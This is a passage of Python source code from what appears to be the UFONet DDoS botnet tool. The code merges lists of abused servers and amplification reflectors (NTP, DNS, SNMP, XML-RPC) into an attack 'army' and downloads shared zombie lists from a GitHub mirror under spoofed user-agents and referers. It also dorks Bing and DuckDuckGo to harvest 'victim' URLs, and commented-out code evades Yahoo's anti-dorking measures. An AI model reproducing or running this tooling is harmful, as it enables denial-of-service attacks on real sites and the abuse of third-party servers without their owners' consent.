  3197. robots = f.readlines()
  3198. robots = [robot.strip() for robot in robots]
  3199. f.close()
  3200. fz = open(self.droids_file)
  3201. droids = fz.readlines()
  3202. droids = [droid.strip() for droid in droids]
  3203. fz.close()
  3204. ad = open('botnet/droids.txt', 'a')
  3205. for robot in robots:
  3206. if robot not in droids:
  3207. droids_added = droids_added + 1
  3208. ad.write(robot+os.linesep)
  3209. else:
  3210. pass
  3211. ad.close()
  3212. os.remove('botnet/robots.txt') # remove robots file
  3213. print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
  3214. aliens = self.extract_aliens()
  3215. if not aliens:
  3216. return
  3217. aliens_added = 0
  3218. if os.path.isfile('botnet/troops.txt'):
  3219. f = open('botnet/troops.txt')
  3220. troops = f.readlines()
  3221. troops = [troop.strip() for troop in troops]
  3222. f.close()
  3223. fz = open(self.aliens_file)
  3224. aliens = fz.readlines()
  3225. aliens = [alien.strip() for alien in aliens]
  3226. fz.close()
  3227. at = open('botnet/aliens.txt', 'a')
  3228. for troop in troops:
  3229. if troop not in aliens:
  3230. aliens_added = aliens_added + 1
  3231. at.write(troop+os.linesep)
  3232. else:
  3233. pass
  3234. at.close()
  3235. os.remove('botnet/troops.txt') # remove troops file
  3236. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3237. ucavs = self.extract_ucavs()
  3238. if not ucavs:
  3239. return
  3240. ucavs_added = 0
  3241. if os.path.isfile('botnet/drones.txt'):
  3242. f = open('botnet/drones.txt')
  3243. drones = f.readlines()
  3244. drones = [drone.strip() for drone in drones]
  3245. f.close()
  3246. fz = open(self.ucavs_file)
  3247. ucavs = fz.readlines()
  3248. ucavs = [ucav.strip() for ucav in ucavs]
  3249. fz.close()
  3250. au = open('botnet/ucavs.txt', 'a')
  3251. for drone in drones:
  3252. if drone not in ucavs:
  3253. ucavs_added = ucavs_added + 1
  3254. au.write(drone+os.linesep)
  3255. else:
  3256. pass
  3257. au.close()
  3258. os.remove('botnet/drones.txt') # remove ucavs file
  3259. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3260. rpcs = self.extract_rpcs()
  3261. if not rpcs:
  3262. return
  3263. rpcs_added = 0
  3264. if os.path.isfile('botnet/reflectors.txt'):
  3265. f = open('botnet/reflectors.txt')
  3266. reflectors = f.readlines()
  3267. reflectors = [reflector.strip() for reflector in reflectors]
  3268. f.close()
  3269. fz = open(self.rpcs_file)
  3270. rpcs = fz.readlines()
  3271. rpcs = [rpc.strip() for rpc in rpcs]
  3272. fz.close()
  3273. ar = open('botnet/rpcs.txt', 'a')
  3274. for reflector in reflectors:
  3275. if reflector not in rpcs:
  3276. rpcs_added = rpcs_added + 1
  3277. ar.write(reflector+os.linesep)
  3278. else:
  3279. pass
  3280. ar.close()
  3281. os.remove('botnet/reflectors.txt') # remove rpcs file
  3282. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3283. ntps = self.extract_ntps()
  3284. if not ntps:
  3285. return
  3286. ntps_added = 0
  3287. if os.path.isfile('botnet/crystals.txt'):
  3288. f = open('botnet/crystals.txt')
  3289. crystals = f.readlines()
  3290. crystals = [crystal.strip() for crystal in crystals]
  3291. f.close()
  3292. fz = open(self.ntps_file)
  3293. ntps = fz.readlines()
  3294. ntps = [ntp.strip() for ntp in ntps]
  3295. fz.close()
  3296. an = open('botnet/ntp.txt', 'a')
  3297. for crystal in crystals:
  3298. if crystal not in ntps:
  3299. ntps_added = ntps_added + 1
  3300. an.write(crystal+os.linesep)
  3301. else:
  3302. pass
  3303. an.close()
  3304. os.remove('botnet/crystals.txt') # remove crystals file
  3305. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3306. dnss = self.extract_dnss()
  3307. if not dnss:
  3308. return
  3309. dnss_added = 0
  3310. if os.path.isfile('botnet/warps.txt'):
  3311. f = open('botnet/warps.txt')
  3312. warps = f.readlines()
  3313. warps = [warp.strip() for warp in warps]
  3314. f.close()
  3315. fz = open(self.dnss_file)
  3316. dnss = fz.readlines()
  3317. dnss = [dns.strip() for dns in dnss]
  3318. fz.close()
  3319. ad = open('botnet/dns.txt', 'a')
  3320. for warp in warps:
  3321. if warp not in dnss:
  3322. dnss_added = dnss_added + 1
  3323. ad.write(warp+os.linesep)
  3324. else:
  3325. pass
  3326. ad.close()
  3327. os.remove('botnet/warps.txt') # remove warps file
  3328. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3329. snmps = self.extract_snmps()
  3330. if not snmps:
  3331. return
  3332. snmps_added = 0
  3333. if os.path.isfile('botnet/bosons.txt'):
  3334. f = open('botnet/bosons.txt')
  3335. bosons = f.readlines()
  3336. bosons = [boson.strip() for boson in bosons]
  3337. f.close()
  3338. fz = open(self.snmps_file)
  3339. snmps = fz.readlines()
  3340. snmps = [snmp.strip() for snmp in snmps]
  3341. fz.close()
  3342. asn = open('botnet/snmp.txt', 'a')
  3343. for boson in bosons:
  3344. if boson not in snmps:
  3345. snmps_added = snmps_added + 1
  3346. asn.write(boson+os.linesep)
  3347. else:
  3348. pass
  3349. asn.close()
  3350. os.remove('botnet/bosons.txt') # remove snmps file
  3351. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3352. print('-'*12 + '\n')
  3353. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3354. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3355. print('-'*12 + '\n')
  3356. else:
  3357. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3358. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3359. print('-'*12)
  3360. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3361. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3362. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3363. globalnet_list.append(stream+os.linesep)
  3364. print('='*22 + '\n')
  3365. if globalnet_list is not None:
  3366. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3367. for node in globalnet_list:
  3368. f.write(node)
  3369. f.close()
  3370. def downloading_github_list(self):
  3371. # add your mirror to protect/share/distribute... [Zombies]
  3372. try:
  3373. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3374. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3375. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3376. if self.options.timeout: # set timeout
  3377. try:
  3378. timeout = int(self.options.timeout)
  3379. except:
  3380. timeout = 5
  3381. else:
  3382. timeout = 5
  3383. if timeout < 1:
  3384. timeout = 5
  3385. if self.options.proxy: # set proxy
  3386. self.proxy_transport(self.options.proxy)
  3387. try:
  3388. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3389. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3390. except:
  3391. zombies_reply = ""
  3392. try:
  3393. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3394. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3395. except:
  3396. aliens_reply = ""
  3397. try:
  3398. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3399. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3400. except:
  3401. dns_reply = ""
  3402. try:
  3403. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3404. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3405. except:
  3406. droids_reply = ""
  3407. try:
  3408. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3409. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3410. except:
  3411. rpcs_reply = ""
  3412. try:
  3413. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3414. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3415. except:
  3416. ucavs_reply = ""
  3417. try:
  3418. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3419. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3420. except:
  3421. ntp_reply = ""
  3422. try:
  3423. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3424. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3425. except:
  3426. snmp_reply = ""
  3427. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3428. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3429. print('-'*12 + '\n')
  3430. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3431. return
  3432. f = open('botnet/abductions.txt', 'w') # zombies
  3433. f.write(zombies_reply)
  3434. f.close()
  3435. f = open('botnet/troops.txt', 'w') # aliens
  3436. f.write(aliens_reply)
  3437. f.close()
  3438. f = open('botnet/crystals.txt', 'w') # dns
  3439. f.write(dns_reply)
  3440. f.close()
  3441. f = open('botnet/robots.txt', 'w') # droids
  3442. f.write(droids_reply)
  3443. f.close()
  3444. f = open('botnet/drones.txt', 'w') # ucavs
  3445. f.write(ucavs_reply)
  3446. f.close()
  3447. f = open('botnet/reflectors.txt', 'w') # rpcs
  3448. f.write(rpcs_reply)
  3449. f.close()
  3450. f = open('botnet/warps.txt', 'w') # ntp
  3451. f.write(ntp_reply)
  3452. f.close()
  3453. f = open('botnet/bosons.txt', 'w') # snmp
  3454. f.write(snmp_reply)
  3455. f.close()
  3456. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3457. except:
  3458. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3459. print('-'*12 + '\n')
  3460. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3461. return
  3462. print('-'*12 + '\n')
  3463. num_abductions = 0
  3464. with open('botnet/abductions.txt') as f: # zombies
  3465. for _ in f:
  3466. num_abductions = num_abductions + 1
  3467. print("[Info] Zombies: " + str(num_abductions))
  3468. num_troops = 0
  3469. with open('botnet/troops.txt') as f: # aliens
  3470. for _ in f:
  3471. num_troops = num_troops + 1
  3472. print("[Info] Aliens : " + str(num_troops))
  3473. num_robots = 0
  3474. with open('botnet/robots.txt') as f: # droids
  3475. for _ in f:
  3476. num_robots = num_robots + 1
  3477. print("[Info] Droids : " + str(num_robots))
  3478. num_drones = 0
  3479. with open('botnet/drones.txt') as f: # ucavs
  3480. for _ in f:
  3481. num_drones = num_drones + 1
  3482. print("[Info] UCAVs : " + str(num_drones))
  3483. num_reflectors = 0
  3484. with open('botnet/reflectors.txt') as f: # rpcs
  3485. for _ in f:
  3486. num_reflectors = num_reflectors + 1
  3487. print("[Info] X-RPCs : " + str(num_reflectors))
  3488. num_crystals = 0
  3489. with open('botnet/crystals.txt') as f: # dns
  3490. for _ in f:
  3491. num_crystals = num_crystals + 1
  3492. print("[Info] DNSs : " + str(num_crystals))
  3493. num_warps = 0
  3494. with open('botnet/warps.txt') as f: # ntp
  3495. for _ in f:
  3496. num_warps = num_warps + 1
  3497. print("[Info] NTPs : " + str(num_warps))
  3498. num_bosons = 0
  3499. with open('botnet/bosons.txt') as f: # snmp
  3500. for _ in f:
  3501. num_bosons = num_bosons + 1
  3502. print("[Info] SNMPs : " + str(num_bosons))
  3503. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3504. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3505. print('-'*12)
  3506. if not self.options.forceyes:
  3507. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3508. print('-'*25)
  3509. else:
  3510. update_reply = "Y"
  3511. if update_reply == "n" or update_reply == "N":
  3512. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3513. os.remove('botnet/troops.txt') # remove aliens/troops file
  3514. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3515. os.remove('botnet/robots.txt') # remove droids/robots file
  3516. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3517. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3518. os.remove('botnet/warps.txt') # remove ntp/warps file
  3519. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3520. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3521. print('-'*25)
  3522. print("\n[AI] "+self.exit_msg+"\n")
  3523. else:
  3524. zombies_ready = []
  3525. f = open('botnet/abductions.txt')
  3526. abductions = f.readlines()
  3527. f.close()
  3528. fz = open(self.zombies_file)
  3529. zombies = fz.readlines()
  3530. fz.close()
  3531. for abduction in abductions:
  3532. abduction = abduction.replace('\n','')
  3533. if abduction not in zombies:
  3534. zombies_ready.append(abduction)
  3535. else:
  3536. pass
  3537. self.update_zombies(zombies_ready)
  3538. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3539. aliens_ready = []
  3540. f = open('botnet/troops.txt')
  3541. troops = f.readlines()
  3542. f.close()
  3543. fz = open(self.aliens_file)
  3544. aliens = fz.readlines()
  3545. fz.close()
  3546. for alien in troops:
  3547. alien = alien.replace('\n','')
  3548. if alien not in aliens:
  3549. aliens_ready.append(alien)
  3550. else:
  3551. pass
  3552. self.update_aliens(aliens_ready)
  3553. os.remove('botnet/troops.txt') # remove aliens/troops file
  3554. dnss_ready = []
  3555. f = open('botnet/crystals.txt')
  3556. crystals = f.readlines()
  3557. f.close()
  3558. fz = open(self.dnss_file)
  3559. dnss = fz.readlines()
  3560. fz.close()
  3561. for crystal in crystals:
  3562. crystal = crystal.replace('\n','')
  3563. if crystal not in dnss:
  3564. dnss_ready.append(crystal)
  3565. else:
  3566. pass
  3567. self.update_dnss(dnss_ready)
  3568. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3569. droids_ready = []
  3570. f = open('botnet/robots.txt')
  3571. robots = f.readlines()
  3572. f.close()
  3573. fz = open(self.droids_file)
  3574. droids = fz.readlines()
  3575. fz.close()
  3576. for droid in robots:
  3577. droid = droid.replace('\n','')
  3578. if droid not in droids:
  3579. droids_ready.append(droid)
  3580. else:
  3581. pass
  3582. self.update_droids(droids_ready)
  3583. os.remove('botnet/robots.txt') # remove droids/robots file
  3584. ucavs_ready = []
  3585. f = open('botnet/drones.txt')
  3586. drones = f.readlines()
  3587. f.close()
  3588. fz = open(self.ucavs_file)
  3589. ucavs = fz.readlines()
  3590. fz.close()
  3591. for drone in drones:
  3592. drone = drone.replace('\n','')
  3593. if drone not in ucavs:
  3594. ucavs_ready.append(drone)
  3595. else:
  3596. pass
  3597. self.update_ucavs(ucavs_ready)
  3598. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  3599. rpcs_ready = []
  3600. f = open('botnet/reflectors.txt')
  3601. reflectors = f.readlines()
  3602. f.close()
  3603. fz = open(self.rpcs_file)
  3604. rpcs = fz.readlines()
  3605. fz.close()
  3606. for reflector in reflectors:
  3607. reflector = reflector.replace('\n','')
  3608. if reflector not in rpcs:
  3609. rpcs_ready.append(reflector)
  3610. else:
  3611. pass
  3612. self.update_rpcs(rpcs_ready)
  3613. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  3614. ntps_ready = []
  3615. f = open('botnet/warps.txt')
  3616. warps = f.readlines()
  3617. f.close()
  3618. fz = open(self.ntps_file)
  3619. ntps = fz.readlines()
  3620. fz.close()
  3621. for warp in warps:
  3622. warp = warp.replace('\n','')
  3623. if warp not in ntps:
  3624. ntps_ready.append(warp)
  3625. else:
  3626. pass
  3627. self.update_ntps(ntps_ready)
  3628. os.remove('botnet/warps.txt') # remove NTP/warps file
  3629. snmps_ready = []
  3630. f = open('botnet/bosons.txt')
  3631. bosons = f.readlines()
  3632. f.close()
  3633. fz = open(self.snmps_file)
  3634. snmps = fz.readlines()
  3635. fz.close()
  3636. for boson in bosons:
  3637. boson = boson.replace('\n','')
  3638. if boson not in snmps:
  3639. snmps_ready.append(boson)
  3640. else:
  3641. pass
  3642. self.update_snmps(snmps_ready)
  3643. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  3644. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3645. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3646. if not self.options.forceyes: # ask for update everything
  3647. print('-'*25 + "\n")
  3648. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3649. else:
  3650. update_reply = "Y"
  3651. if update_reply == "n" or update_reply == "N":
  3652. print("\n[AI] "+self.exit_msg+"\n")
  3653. return
  3654. else:
  3655. try:
  3656. update_gui = self.update_gui_data() # update GUI data
  3657. except:
  3658. print('-'*25 +"\n")
  3659. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3660. print('-'*25)
  3661. print("\n[AI] "+self.exit_msg+"\n")
  3662. return
  3663. def uploading_github_list(self):
  3664. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  3665. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  3666. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  3667. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  3668. print('='*22 + '\n')
  3669. print("[AI] "+self.exit_msg+"\n")
  3670. def create_web_interface(self):
  3671. # launch webserver+gui
  3672. from .webgui import ClientThread
  3673. import webbrowser
  3674. host = '0.0.0.0'
  3675. port = 9999
  3676. try:
  3677. webbrowser.open('http://127.0.0.1:9999', new=1)
  3678. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3679. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  3680. tcpsock.bind((host,port))
  3681. while True:
  3682. tcpsock.listen(4)
  3683. (clientsock, (ip, port)) = tcpsock.accept()
  3684. newthread = ClientThread(ip, port, clientsock)
  3685. newthread.start()
  3686. except (KeyboardInterrupt, SystemExit):
  3687. sys.exit()
  3688. def extract_dorks(self):
  3689. # extract dorks from file (ex: 'dorks.txt')
  3690. try:
  3691. f = open(self.dorks_file)
  3692. dorks = f.readlines()
  3693. dorks = [ dork.replace('\n','') for dork in dorks ]
  3694. f.close()
  3695. if not dorks:
  3696. if not options.autosearch:
  3697. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3698. return
  3699. else:
  3700. return dorks
  3701. except:
  3702. if not options.autosearch:
  3703. if os.path.exists(self.dorks_file) == True:
  3704. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3705. return #sys.exit(2)
  3706. else:
  3707. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3708. return #sys.exit(2)
  3709. else:
  3710. return
  3711. def search_zombies(self, dork, zombies_found):
  3712. # crawlering on search engine results to extract zombies
  3713. options = self.options
  3714. zombies = []
  3715. if not options.engine: # default search engine
  3716. options.engine = 'duck'
  3717. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  3718. url = 'https://www.bing.com/search?'
  3719. if options.search: # search from query
  3720. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3721. if options.dorks or options.autosearch: # search from a dork
  3722. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3723. start = 0 # set index number of first entry
  3724. query_string = { 'q':q, 'first':start }
  3725. data = urllib.parse.urlencode(query_string)
  3726. url = url + data
  3727. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3728. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3729. if options.num_results: # set number of results to search
  3730. try:
  3731. num_results = int(options.num_results)
  3732. except:
  3733. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3734. num_results = 10
  3735. else:
  3736. num_results = 10
  3737. if options.verbose:
  3738. print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
  3739. print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
  3740. try:
  3741. if options.proxy: # set proxy
  3742. self.proxy_transport(options.proxy)
  3743. req = urllib.request.Request(url, None, headers)
  3744. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3745. except:
  3746. print('[Error] [AI] Unable to connect to: bing\n')
  3747. if options.allengines or options.autosearch:
  3748. return
  3749. if not options.dorks or not options.autosearch:
  3750. if not self.options.forceyes:
  3751. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3752. else:
  3753. update_reply = "Y"
  3754. if update_reply == "n" or update_reply == "N":
  3755. return #sys.exit(2)
  3756. print("\nSearch engines available:")
  3757. print('-'*25)
  3758. for e in self.search_engines:
  3759. print("+ "+e)
  3760. print('-'*25)
  3761. print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  3762. return #sys.exit(2)
  3763. else:
  3764. req_reply = ''
  3765. regex = '</a></div><h2><a href="(.+?)">' # regex magics [25/08/2024 OK!]
  3766. pattern = re.compile(regex)
  3767. url_links = re.findall(pattern, req_reply)
  3768. #elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  3769. # location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  3770. # #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  3771. # location = str(random.choice(location).strip()) # shuffle location
  3772. # if location == "jp": # [28/02/2019]
  3773. # url = 'https://search.yahoo.co.jp/search?'
  3774. # else:
  3775. # url = 'https://'+location+'.search.yahoo.com/search?'
  3776. # if options.search: # search from query
  3777. # if location == "jp":
  3778. # q = '"' + str(options.search) + '"' # set query to search literally on results
  3779. # else:
  3780. # q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3781. # if options.dorks or options.autosearch: # search from a dork
  3782. # if location == "jp":
  3783. # q = '"' + str(dork) + '"' # set query to search literally on results
  3784. # else:
  3785. # q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3786. # start = 0 # set index number of first entry
  3787. # query_string = { 'p':q, 'b':start }
  3788. # data = urllib.parse.urlencode(query_string)
  3789. # url = url + data
  3790. # self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3791. # headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3792. # if options.verbose:
  3793. # print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3794. # try:
  3795. # if options.proxy: # set proxy
  3796. # self.proxy_transport(options.proxy)
  3797. # req = urllib.request.Request(url, None, headers)
  3798. # req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3799. # except:
  3800. # print('[Error] [AI] Unable to connect to: yahoo\n')
  3801. # if options.allengines or options.autosearch:
  3802. # return
  3803. # if not options.dorks or not options.autosearch:
  3804. # if not self.options.forceyes:
  3805. # update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3806. # else:
  3807. # update_reply = "Y"
  3808. # if update_reply == "n" or update_reply == "N":
  3809. # return #sys.exit(2)
  3810. # print("\nSearch engines available:")
  3811. # print('-'*25)
  3812. # for e in self.search_engines:
  3813. # print("+ "+e)
  3814. # print('-'*25)
  3815. # print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  3816. # return #sys.exit(2)
  3817. # else:
  3818. # req_reply = ''
  3819. # #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  3820. # regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  3821. # pattern = re.compile(regex)
  3822. # url_links = re.findall(pattern, req_reply)
  3823. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!] [25/08/2024 OK!]
  3824. url = 'https://duckduckgo.com/html/'
  3825. if options.search: # search from query
  3826. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3827. if options.dorks or options.autosearch: # search from a dork
  3828. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3829. query_string = { 'q':q }
  3830. data = urllib.parse.urlencode(query_string)
  3831. from duckduckgo_search import DDGS # import search engine wrapper lib
  3832. if options.num_results: # set number of results to search
  3833. try:
  3834. num_results = int(options.num_results)
  3835. except:
  3836. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3837. num_results = 10
  3838. else:
  3839. num_results = 10
  3840. if options.verbose:
  3841. print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")")
  3842. print("[Info] [AI] [DORKING] Max results: " +str(num_results)+"\n")
  3843. try:
  3844. if options.proxy: # set proxy
  3845. self.proxy_transport(options.proxy)
  3846. req_reply = DDGS().text(data, safesearch='Off', max_results=num_results)
  3847. except:
  3848. print('[Error] [AI] Unable to connect to: duck\n')
  3849. if options.allengines or options.autosearch:
  3850. return
  3851. if not options.dorks or not options.autosearch:
  3852. if not self.options.forceyes:
  3853. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3854. else:
  3855. update_reply = "Y"
  3856. if update_reply == "n" or update_reply == "N":
  3857. return #sys.exit(2)
  3858. print("\nSearch engines available:")
  3859. print('-'*25)
  3860. for e in self.search_engines:
  3861. print("+ "+e)
  3862. print('-'*25)
  3863. print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  3864. return #sys.exit(2)
  3865. else:
  3866. req_reply = ''
  3867. url_links = []
  3868. for url_reply in req_reply:
  3869. for key,value in url_reply.items():
  3870. if key == "href":
  3871. url_links.append(value)
  3872. else: # no valid search engine
  3873. print('[Error] [AI] This search engine is not supported!\n')
  3874. if not options.dorks or options.autosearch:
  3875. if not self.options.forceyes:
  3876. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3877. else:
  3878. update_reply = "Y"
  3879. if update_reply == "n" or update_reply == "N":
  3880. return #sys.exit(2)
  3881. print("\nSearch engines available:")
  3882. print('-'*25)
  3883. for e in self.search_engines:
  3884. print("+ "+e)
  3885. print('-'*25)
  3886. print("\nEx: ufonet -s 'page.php?url=' --se 'bing'")
  3887. return #sys.exit(2)
  3888. else:
  3889. req_reply = ''
  3890. if options.num_results: # set number of results to search
  3891. try:
  3892. num = int(options.num_results)
  3893. except:
  3894. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3895. num = 10
  3896. else:
  3897. num = 10
  3898. total_results = 1
  3899. for url in url_links: # general parse on urls
  3900. if int(num) < int(total_results):
  3901. break
  3902. if options.engine == "bing":
  3903. if " h=" in url: # regex magics [18/08/2016]
  3904. url = url.rsplit('" h=',1)[0]
  3905. #if options.engine == "yahoo":
  3906. # if 'RU=' in url: # regex magics [18/08/2016]
  3907. # url = url.rsplit('RU=',1)[1]
  3908. # if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  3909. # url = url.rsplit('UTF-8&u=',1)[1]
  3910. total_results = total_results + 1 # results counter
  3911. url_link = urllib.parse.unquote(url) # unquote encoding
  3912. if options.search:
  3913. sep = str(options.search)
  3914. if options.dorks or options.autosearch:
  3915. sep = str(dork)
  3916. url_link = url_link.rsplit(sep, 1)[0] + sep
  3917. if 'href="' in url_link:
  3918. url_link = url_link.rsplit('href="', 1)[1]
  3919. if "instreamset" in url_link: # invalid zombie
  3920. url_link = "" # discarded
  3921. if '" ' in url_link:
  3922. url_link = url_link.rsplit('" ', 1)[1]
  3923. if options.engine in url_link:
  3924. url_link = "" # discarded
  3925. if 'http' not in url_link:
  3926. url_link = "" # discarded
  3927. else:
  3928. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
  3929. print('+Victim found: ' + url_link)
  3930. zombies.append(url_link)
  3931. else:
  3932. pass
  3933. if len(zombies) == 0: # print dorking results
  3934. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  3935. if not options.dorks:
  3936. if not options.autosearch:
  3937. if not self.options.forceyes:
  3938. return #sys.exit(2)
  3939. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  3940. print("")
  3941. return zombies
  3942. def check_nat(self):
  3943. # check for NAT configuration
  3944. options = self.options
  3945. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  3946. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  3947. check_ip_service = None
  3948. if not tor_reply or 'Congratulations' not in tor_reply:
  3949. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  3950. else:
  3951. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  3952. self.nat_error_flag = "ON"
  3953. return #sys.exit(2)
  3954. try:
  3955. data = str(urllib.request.urlopen(self.check_ip_service1).read()) # check for public ip
  3956. self.pub_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  3957. check_ip_service = self.check_ip_service1
  3958. except:
